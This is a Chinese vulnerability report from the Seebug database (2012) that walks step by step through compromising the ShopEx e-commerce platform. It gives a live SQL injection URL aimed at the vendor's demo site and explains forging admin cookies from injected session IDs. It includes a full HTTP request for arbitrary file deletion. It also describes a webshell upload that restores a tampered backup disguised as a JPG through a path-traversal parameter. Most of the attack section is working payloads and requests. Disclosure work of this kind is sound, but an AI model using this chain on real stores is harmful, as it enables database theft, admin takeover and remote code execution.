ShopEx一步一步拿shell

2012-08-23T00:00:00
ID SSV:93508
Type seebug
Reporter Root
Modified 2012-08-23T00:00:00

Description

简要描述:

昨天刚从官网下载下来,应该是最新版的 整体没什么亮点,纯属刷rank PS:我擦~ 编辑了三次,能不能添加个保存功能~

详细说明:

0x1 爆路径 http://demo.shopex.com.cn/485/index.php?gOo

<img src="https://images.seebug.org/upload/201208/23003243a9bb03f57bba1ec68f568a59d410836f.png" alt="" width="600" onerror="javascript:errimg(this);">

额~ 这个表示对我无用 0x2 注入 http://demo.shopex.com.cn/485/?member-120120822173108'//and//ExtractValue(0x64,concat(0x01,(select//@@version)))//order//by//'1-orderdetail.html

<img src="https://images.seebug.org/upload/201208/23003311f85833bd8e8deaa8f9377523dbc216fb.png" alt="" width="600" onerror="javascript:errimg(this);">

得到一个注入点,一般接下来的步骤都是爆密码,解md5,可是我觉得我rp极差,一般都解不出,所以..第三步 0x3 后台cookie设置 登录成功之后会设置3个cookie

setcookie('SHOPEX_LG_KEY',md5(remote_addr().$aResult['op_id'])); setcookie("SHOPEX_LOGIN_NAME",$_POST['usrname'],(time()+86400*10)); setcookie( "SHOPEX_SID", $this-&gt;sess_id ); function remote_addr(){ if(!isset($GLOBALS['_REMOTE_ADDR_'])){ $addrs = array(); if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ foreach( array_reverse( explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f ) { $x_f = trim($x_f); if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) ) { $addrs[] = $x_f; } } } $GLOBALS['_REMOTE_ADDR_'] = isset($addrs[0])?$addrs[0]:$_SERVER['REMOTE_ADDR']; } return $GLOBALS['_REMOTE_ADDR_']; }

我们跑到XXX_op_sessions表 注射出sess_id,跑去XXX_operators表 注射出username和对应的op_id,构造cookie 登录上后台,本来想拿演示网做测试,结果我所在的网络有点奇葩,算了,本地测试成功。。。。 0x4 后台任意文件删除 终于进入后台了,先玩一下 构造

POST /shopex/shopadmin/index.php?ctl=system/comeback&act=removeTgz&_ajax=true&_ss=setting,tools HTTP/1.1 Host: 10.1.1.100 Proxy-Connection: keep-alive Content-Length: 38 Origin: http://10.1.1.100 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1 Content-type: application/x-www-form-urlencoded; charset=UTF-8 Accept: text/javascript, text/html, application/xml, text/xml, */* Referer: http://10.1.1.100/shopex/shopadmin/index.php Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Cookie: ********************* tgz[]=multibak_20120822202808.tgz&__=1

把tgz[]换成想删除的文件的相对路径,极其鸡肋,对我来说也是无用 0x5 后台拿shell 本来还是想拿官网演示站 做演示的 结果 相应的功能被禁用了,rp如此之差 完全可以体现出来了 本地测试~~~ 先备份个,然后直接下载备份文件,修改压缩文件里面的文件名以及文件内容

<img src="https://images.seebug.org/upload/201208/22233741ce866113c7133027f2df02d399d44384.png" alt="" width="600" onerror="javascript:errimg(this);">

最后将压缩文件的后缀修改为jpg 后台直接传图片 获取图片地址 在数据恢复处 恢复数据 截包修改

GET /shopex/shopadmin/index.php?ctl=system/comeback&act=comeback&p[0]=multibak_20120822202808.tgz&p[1]=1345638490&p[2]=2&_ajax=true&_ss=setting,tools HTTP/1.1 Host: 10.1.1.100 Proxy-Connection: keep-alive X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1 Accept: text/javascript, text/html, application/xml, text/xml, */* Referer: http://10.1.1.100/shopex/shopadmin/index.php Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Cookie: ******************

将p[0]修改为之前上传图片的地址 如:/../../images/default/default_preview_pic.jpg 在拦截到最后一个包的时候不给予通过~ 如果通过之后会把之前的临时文件给删除 最后shell路径: /home/tmp/md5('/../../images/default/default_preview_pic.jpg')/yy520.php.sql 基本原理和 http://wooyun.org/bugs/wooyun-2012-010431 差不多~ 所以就少截一点图了。

漏洞证明:

前面好像证明过了~~